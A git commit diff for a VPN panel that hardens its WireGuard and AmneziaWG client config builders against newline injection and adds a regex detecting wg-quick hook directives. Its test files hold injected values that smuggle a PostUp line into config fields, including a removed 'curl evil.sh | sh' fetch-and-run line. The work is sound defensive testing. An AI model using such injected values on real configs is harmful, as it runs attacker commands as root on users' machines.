fix(wireguard): check every line of generated client configs

The WireGuard and AmneziaWG .conf builders (subscription service, clients
page, inbound modal and subscription page) checked only a few of the values
they write. Each builder now assembles the file line by line and renders
nothing when a line holds a control character, so every value is covered
whatever stored it. A decoded vpn:// payload is refused when it carries a
wg-quick hook directive, which no panel builder writes, and the subscription
page hides a config block that rendered nothing.

The inbound form now validates a WireGuard/AmneziaWG client's allowedIPs on
create and on update, including the stored clients a protocol switch keeps,
as the client endpoints already did.
This commit is contained in:
MHSanaei
2026-10-24 01:10:09 +02:00
parent 57fd61790c
commit 0faad4f4f3
12 changed files with 285 additions and 222 deletions
+20
View File
@@ -0,0 +1,20 @@
// One entry per .conf line, or '' when any entry would split: a line break can
// re-open [Interface], whose PostUp runs as root wherever wg-quick applies it.
export function joinConfLines(lines: readonly string[]): string {
return lines.some(hasControlChar) ? '' : lines.join('\n');
}
function hasControlChar(line: string): boolean {
for (let i = 0; i < line.length; i++) {
const code = line.charCodeAt(i);
if (code < 0x20 || code === 0x7f) return true;
}
return false;
}
// wg-quick matches keys case-insensitively; no panel builder emits these hooks.
const WG_QUICK_HOOK = /^\s*(?:pre|post)(?:up|down)\s*=/im;
export function hasWgQuickHook(conf: string): boolean {
return WG_QUICK_HOOK.test(conf);
}
+42 -58
View File
@@ -14,6 +14,7 @@ import type { FinalMaskStreamSettings } from '@/schemas/protocols/stream/finalma
import type { XHttpStreamSettings } from '@/schemas/protocols/stream/xhttp';
import { parseGeckoPacketSize } from '@/lib/xray/forms/transport/FinalMaskForm';
import { hasWgQuickHook, joinConfLines } from './conf-lines';
import { getHeaderValue } from './headers';
import { canEnableTlsFlow } from './protocol-capabilities';
import { deriveSpiderX } from './spider-x';
@@ -1016,25 +1017,24 @@ export function genWireguardConfig(input: GenWireguardLinkInput): string {
const pubKey =
settings.secretKey.length > 0 ? Wireguard.generateKeypair(settings.secretKey).publicKey : '';
let txt = `[Interface]\n`;
txt += `PrivateKey = ${peer.privateKey ?? ''}\n`;
txt += `Address = ${peer.allowedIPs.join(', ')}\n`;
txt += `DNS = ${settings.dns || '1.1.1.1, 1.0.0.1'}\n`;
const lines = [
'[Interface]',
`PrivateKey = ${peer.privateKey ?? ''}`,
`Address = ${peer.allowedIPs.join(', ')}`,
`DNS = ${settings.dns || '1.1.1.1, 1.0.0.1'}`,
];
if (typeof settings.mtu === 'number' && settings.mtu > 0) {
txt += `MTU = ${settings.mtu}\n`;
lines.push(`MTU = ${settings.mtu}`);
}
txt += `\n# ${remark}\n`;
txt += `[Peer]\n`;
txt += `PublicKey = ${pubKey}\n`;
txt += `AllowedIPs = 0.0.0.0/0, ::/0\n`;
txt += `Endpoint = ${address}:${port}`;
lines.push('', `# ${remark}`, '[Peer]', `PublicKey = ${pubKey}`, 'AllowedIPs = 0.0.0.0/0, ::/0');
lines.push(`Endpoint = ${address}:${port}`);
if (peer.preSharedKey && peer.preSharedKey.length > 0) {
txt += `\nPresharedKey = ${peer.preSharedKey}`;
lines.push(`PresharedKey = ${peer.preSharedKey}`);
}
if (typeof peer.keepAlive === 'number' && peer.keepAlive > 0) {
txt += `\nPersistentKeepalive = ${peer.keepAlive}\n`;
lines.push(`PersistentKeepalive = ${peer.keepAlive}`, '');
}
return txt;
return joinConfLines(lines);
}
// Shared input shape for both the per-client vpn:// link and .conf
@@ -1086,39 +1086,25 @@ export function genAmneziaWGConfig(input: GenAmneziaWGLinkInput): string {
if (!client) return '';
const server = settings.server;
// These land unescaped in the .conf; a newline would inject a config line
// (e.g. a rogue PostUp) — same guard as the panel's other two emitters.
for (const v of [
client.privateKey ?? '',
server.primaryDns ?? '',
server.secondaryDns ?? '',
remark,
]) {
if (/[\r\n]/.test(v)) return '';
}
let txt = `[Interface]\n`;
txt += `PrivateKey = ${client.privateKey ?? ''}\n`;
txt += `Address = ${(client.allowedIPs ?? []).join(', ')}\n`;
const lines = [
'[Interface]',
`PrivateKey = ${client.privateKey ?? ''}`,
`Address = ${(client.allowedIPs ?? []).join(', ')}`,
];
const dns = [server.primaryDns, server.secondaryDns].filter((v) => !!v && v.trim() !== '');
if (dns.length > 0) txt += `DNS = ${dns.join(', ')}\n`;
txt += `MTU = ${effectiveMtu(server.mtu, server.s4)}\n`;
txt += `Jc = ${server.jc}\n`;
txt += `Jmin = ${server.jmin}\n`;
txt += `Jmax = ${server.jmax}\n`;
txt += `S1 = ${server.s1}\n`;
txt += `S2 = ${server.s2}\n`;
if (server.s3) txt += `S3 = ${server.s3}\n`;
if (server.s4) txt += `S4 = ${server.s4}\n`;
txt += `${amneziaWGHLine('H1', server.h1, '1')}\n`;
txt += `${amneziaWGHLine('H2', server.h2, '2')}\n`;
txt += `${amneziaWGHLine('H3', server.h3, '3')}\n`;
txt += `${amneziaWGHLine('H4', server.h4, '4')}\n`;
if (server.i1) txt += `I1 = ${server.i1}\n`;
if (server.i2) txt += `I2 = ${server.i2}\n`;
if (server.i3) txt += `I3 = ${server.i3}\n`;
if (server.i4) txt += `I4 = ${server.i4}\n`;
if (server.i5) txt += `I5 = ${server.i5}\n`;
if (dns.length > 0) lines.push(`DNS = ${dns.join(', ')}`);
lines.push(`MTU = ${effectiveMtu(server.mtu, server.s4)}`);
lines.push(`Jc = ${server.jc}`, `Jmin = ${server.jmin}`, `Jmax = ${server.jmax}`);
lines.push(`S1 = ${server.s1}`, `S2 = ${server.s2}`);
if (server.s3) lines.push(`S3 = ${server.s3}`);
if (server.s4) lines.push(`S4 = ${server.s4}`);
lines.push(amneziaWGHLine('H1', server.h1, '1'), amneziaWGHLine('H2', server.h2, '2'));
lines.push(amneziaWGHLine('H3', server.h3, '3'), amneziaWGHLine('H4', server.h4, '4'));
if (server.i1) lines.push(`I1 = ${server.i1}`);
if (server.i2) lines.push(`I2 = ${server.i2}`);
if (server.i3) lines.push(`I3 = ${server.i3}`);
if (server.i4) lines.push(`I4 = ${server.i4}`);
if (server.i5) lines.push(`I5 = ${server.i5}`);
const optional31: Array<[string, string | undefined]> = [
['HeaderProtectionKey', server.headerProtectionKey],
['ContentPaddingAddition', server.contentPaddingAddition],
@@ -1129,25 +1115,22 @@ export function genAmneziaWGConfig(input: GenAmneziaWGLinkInput): string {
['MaxHandshakeAttempts', server.maxHandshakeAttempts],
];
for (const [key, value] of optional31) {
if (value && value.trim() !== '') txt += `${key} = ${value}\n`;
if (value && value.trim() !== '') lines.push(`${key} = ${value}`);
}
if (server.randomTrailers) txt += `RandomTrailers = on\n`;
if (server.disableCookies) txt += `DisableCookies = on\n`;
if (server.randomTrailers) lines.push('RandomTrailers = on');
if (server.disableCookies) lines.push('DisableCookies = on');
// Peer field order follows wg-quick(8) and the panel's other two AmneziaWG
// emitters (amneziaWGConfigText in Go, buildAmneziaWGClientConfig); all three
// are independent implementations and must not drift apart.
txt += `\n# ${remark}\n`;
txt += `[Peer]\n`;
txt += `PublicKey = ${server.publicKey ?? ''}\n`;
lines.push('', `# ${remark}`, '[Peer]', `PublicKey = ${server.publicKey ?? ''}`);
if (client.preSharedKey && client.preSharedKey.length > 0) {
txt += `PresharedKey = ${client.preSharedKey}\n`;
lines.push(`PresharedKey = ${client.preSharedKey}`);
}
txt += `AllowedIPs = 0.0.0.0/0, ::/0\n`;
txt += `Endpoint = ${address}:${port}`;
lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${address}:${port}`);
if (typeof client.keepAlive === 'number' && client.keepAlive > 0) {
txt += `\nPersistentKeepalive = ${client.keepAlive}`;
lines.push(`PersistentKeepalive = ${client.keepAlive}`);
}
return txt;
return joinConfLines(lines);
}
export interface GenAmneziaWGFanoutInput {
@@ -1253,7 +1236,7 @@ export function wireguardConfigFromLink(link: string, fallbackRemark = ''): stri
if (psk) lines.push(`PresharedKey = ${psk}`);
lines.push(`AllowedIPs = ${allowedIPs}`, `Endpoint = ${endpoint}`);
if (keepAlive && Number(keepAlive) > 0) lines.push(`PersistentKeepalive = ${keepAlive}`);
return lines.join('\n');
return joinConfLines(lines);
}
// Reverse of toBase64Url above -- recovers a vpn:// link's plain .conf
@@ -1278,7 +1261,8 @@ export function amneziawgConfigFromLink(link: string): string {
const trimmed = link.trim();
if (!trimmed.startsWith('vpn://')) return '';
try {
return fromBase64Url(trimmed.slice('vpn://'.length));
const conf = fromBase64Url(trimmed.slice('vpn://'.length));
return hasWgQuickHook(conf) ? '' : conf;
} catch {
return '';
}
@@ -2,6 +2,7 @@ import type { HostEndpoint } from '@/lib/hosts/host-link';
import { formatInboundLabel } from '@/lib/inbounds/label';
import { preferPublicHost, resolveShareHost } from '@/lib/xray/inbound-link';
import { effectiveMtu } from '@/lib/xray/amneziawg-obfuscation';
import { joinConfLines } from '@/lib/xray/conf-lines';
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
// AmneziaWG clients are wire-identical to WireGuard clients (same
@@ -58,13 +59,7 @@ export function buildAmneziaWGClientConfig(
.filter(Boolean)
.join(' - ');
// These land unescaped in [Interface]; a newline here would inject a
// config line (e.g. a rogue PostUp) into the downloaded .conf.
const privateKey = client.privateKey || client.password || '';
for (const v of [privateKey, server?.primaryDns ?? '', server?.secondaryDns ?? '', remark]) {
if (/[\r\n]/.test(v)) return '';
}
const dnsParts = [server?.primaryDns, server?.secondaryDns].filter((v) => !!v && v.trim() !== '');
const lines = ['[Interface]', `PrivateKey = ${privateKey}`, `Address = ${address}`];
if (dnsParts.length > 0) lines.push(`DNS = ${dnsParts.join(', ')}`);
@@ -109,5 +104,5 @@ export function buildAmneziaWGClientConfig(
lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${endpoint}`);
if (client.keepAlive && client.keepAlive > 0)
lines.push(`PersistentKeepalive = ${client.keepAlive}`);
return lines.join('\n');
return joinConfLines(lines);
}
@@ -1,5 +1,6 @@
import type { HostEndpoint } from '@/lib/hosts/host-link';
import { formatInboundLabel } from '@/lib/inbounds/label';
import { joinConfLines } from '@/lib/xray/conf-lines';
import { preferPublicHost, resolveShareHost } from '@/lib/xray/inbound-link';
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
@@ -54,5 +55,5 @@ export function buildWireguardClientConfig(
lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${endpoint}`);
if (client.keepAlive && client.keepAlive > 0)
lines.push(`PersistentKeepalive = ${client.keepAlive}`);
return lines.join('\n');
return joinConfLines(lines);
}
+6 -5
View File
@@ -34,7 +34,8 @@ export default function SubConfigsTab({ links, onCopy }: SubConfigsTabProps) {
const parts = parseLinkParts(link);
const rowTitle = parts?.remark || `Link ${idx + 1}`;
const isWireguardLink = link.startsWith('wireguard://') || link.startsWith('wg://');
const isAmneziawgLink = link.startsWith('vpn://');
const wireguardConfig = isWireguardLink ? wireguardConfigFromLink(link, rowTitle) : '';
const amneziawgConfig = link.startsWith('vpn://') ? amneziawgConfigFromLink(link) : '';
return (
<Fragment key={link}>
<div className="sub-row">
@@ -54,19 +55,19 @@ export default function SubConfigsTab({ links, onCopy }: SubConfigsTabProps) {
)}
</div>
</div>
{isWireguardLink && (
{wireguardConfig && (
<ConfigBlock
label={t('pages.clients.wireguardConfig')}
text={wireguardConfigFromLink(link, rowTitle)}
text={wireguardConfig}
fileName={`${rowTitle || 'peer'}.conf`}
qrRemark={rowTitle}
tagColor="cyan"
/>
)}
{isAmneziawgLink && (
{amneziawgConfig && (
<ConfigBlock
label={t('pages.clients.amneziaWgConfig')}
text={amneziawgConfigFromLink(link)}
text={amneziawgConfig}
fileName={`${rowTitle || 'peer'}.conf`}
qrRemark={rowTitle}
tagColor="purple"
@@ -1,92 +0,0 @@
import { describe, expect, it } from 'vitest';
import { genAmneziaWGConfig } from '@/lib/xray/inbound-link';
import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
// A newline in a field that lands unescaped in [Interface] would inject a
// config line (e.g. a rogue PostUp); every emitter must refuse to render it.
const INJECTED = 'x\nPostUp = curl evil.sh | sh';
function settingsWith(server: Record<string, unknown>, client: Record<string, unknown>) {
return {
server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, ...server },
clients: [
{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'], ...client },
],
} as unknown as AmneziawgInboundSettings;
}
describe('AmneziaWG .conf newline-injection guard', () => {
it('genAmneziaWGConfig refuses injected fields and renders clean ones', () => {
const base = { address: 'awg.example.test', port: 51820, peerIndex: 0 };
expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: 'ok', ...base })).toContain(
'PrivateKey = clientPrivKey==',
);
expect(
genAmneziaWGConfig({
settings: settingsWith({}, { privateKey: INJECTED }),
remark: 'ok',
...base,
}),
).toBe('');
expect(
genAmneziaWGConfig({
settings: settingsWith({ primaryDns: INJECTED }, {}),
remark: 'ok',
...base,
}),
).toBe('');
expect(
genAmneziaWGConfig({
settings: settingsWith({ secondaryDns: INJECTED }, {}),
remark: 'ok',
...base,
}),
).toBe('');
expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: INJECTED, ...base })).toBe(
'',
);
});
it('buildAmneziaWGClientConfig refuses injected fields', () => {
const inbound = (server: Record<string, unknown>) =>
({
id: 1,
tag: 'awg-1',
remark: 'awg',
port: 51820,
protocol: 'amneziawg',
awgServer: {
publicKey: 'serverPubKey==',
jc: 4,
jmin: 40,
jmax: 100,
s1: 30,
s2: 90,
...server,
},
}) as unknown as InboundOption;
const client = (extra: Record<string, unknown>) =>
({
email: 'peer-1',
privateKey: 'clientPrivKey==',
allowedIPs: '10.8.1.2/32',
...extra,
}) as unknown as ClientRecord;
expect(buildAmneziaWGClientConfig(client({}), inbound({}), 'awg.example.test')).toContain(
'PrivateKey = clientPrivKey==',
);
expect(
buildAmneziaWGClientConfig(client({ privateKey: INJECTED }), inbound({}), 'awg.example.test'),
).toBe('');
expect(
buildAmneziaWGClientConfig(client({}), inbound({ primaryDns: INJECTED }), 'awg.example.test'),
).toBe('');
expect(
buildAmneziaWGClientConfig(client({ comment: INJECTED }), inbound({}), 'awg.example.test'),
).toBe('');
});
});
@@ -0,0 +1,115 @@
import { describe, expect, it } from 'vitest';
import {
amneziawgConfigFromLink,
genAmneziaWGConfig,
genWireguardConfig,
wireguardConfigFromLink,
} from '@/lib/xray/inbound-link';
import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
import { buildWireguardClientConfig } from '@/pages/clients/wireguardConfig';
import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
import type { WireguardInboundSettings } from '@/schemas/protocols/inbound/wireguard';
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
// A value carrying a line break adds a line such as a root PostUp to the .conf;
// node sync, an import or an external subscription can each supply one.
const INJECTED = '140232109\nPostUp = touch /tmp/pwned';
const endpoint = { address: 'vpn.example.test', port: 51820, peerIndex: 0, remark: 'peer-1' };
function awgSettings(h1: string) {
return {
server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, h1 },
clients: [{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'] }],
} as unknown as AmneziawgInboundSettings;
}
function awgInbound(h1: string) {
return {
id: 1,
tag: 'awg-1',
remark: 'awg',
port: 51820,
protocol: 'amneziawg',
awgServer: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, h1 },
} as unknown as InboundOption;
}
function wgSettings(dns: string) {
return {
secretKey: '',
mtu: 1420,
dns,
peers: [{ privateKey: 'clientPrivKey==', allowedIPs: ['10.0.0.2/32'] }],
} as unknown as WireguardInboundSettings;
}
function wgInbound(wgDns: string) {
return {
id: 2,
tag: 'wg-1',
remark: 'wg',
port: 51820,
protocol: 'wireguard',
wgPublicKey: 'serverPubKey==',
wgDns,
} as unknown as InboundOption;
}
const client = {
email: 'peer-1',
privateKey: 'clientPrivKey==',
allowedIPs: '10.8.1.2/32',
} as unknown as ClientRecord;
function vpnLink(conf: string): string {
return `vpn://${btoa(conf).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '')}`;
}
describe('.conf builders render nothing when a value carries a line break', () => {
it('genAmneziaWGConfig', () => {
expect(genAmneziaWGConfig({ settings: awgSettings('1'), ...endpoint })).toContain('H1 = 1\n');
expect(genAmneziaWGConfig({ settings: awgSettings(INJECTED), ...endpoint })).toBe('');
});
it('buildAmneziaWGClientConfig', () => {
expect(buildAmneziaWGClientConfig(client, awgInbound('1'), 'vpn.example.test')).toContain(
'H1 = 1\n',
);
expect(buildAmneziaWGClientConfig(client, awgInbound(INJECTED), 'vpn.example.test')).toBe('');
});
it('genWireguardConfig', () => {
expect(genWireguardConfig({ settings: wgSettings('9.9.9.9'), ...endpoint })).toContain(
'DNS = 9.9.9.9\n',
);
expect(genWireguardConfig({ settings: wgSettings(INJECTED), ...endpoint })).toBe('');
});
it('buildWireguardClientConfig', () => {
expect(buildWireguardClientConfig(client, wgInbound('9.9.9.9'), 'vpn.example.test')).toContain(
'DNS = 9.9.9.9\n',
);
expect(buildWireguardClientConfig(client, wgInbound(INJECTED), 'vpn.example.test')).toBe('');
});
it('wireguardConfigFromLink', () => {
const link = (address: string) =>
`wireguard://PRIVKEY@203.0.113.9:51820/?address=${address}&publickey=PEERPUB&dns=1.1.1.1&allowedips=0.0.0.0%2F0`;
expect(wireguardConfigFromLink(link('10.0.0.2%2F32'))).toContain('Address = 10.0.0.2/32\n');
expect(
wireguardConfigFromLink(link('10.0.0.2%2F32%0APostUp%20%3D%20touch%20%2Ftmp%2Fpwned')),
).toBe('');
});
});
describe('amneziawgConfigFromLink', () => {
// A vpn:// payload is a whole .conf from wherever the subscription got it;
// no panel builder writes a wg-quick hook, so one in a payload was planted.
it('refuses a payload that carries a wg-quick hook directive', () => {
const clean = '[Interface]\nPrivateKey = k\nAddress = 10.8.1.2/32';
expect(amneziawgConfigFromLink(vpnLink(clean))).toBe(clean);
expect(amneziawgConfigFromLink(vpnLink(`${clean}\n postup = touch /tmp/pwned`))).toBe('');
});
});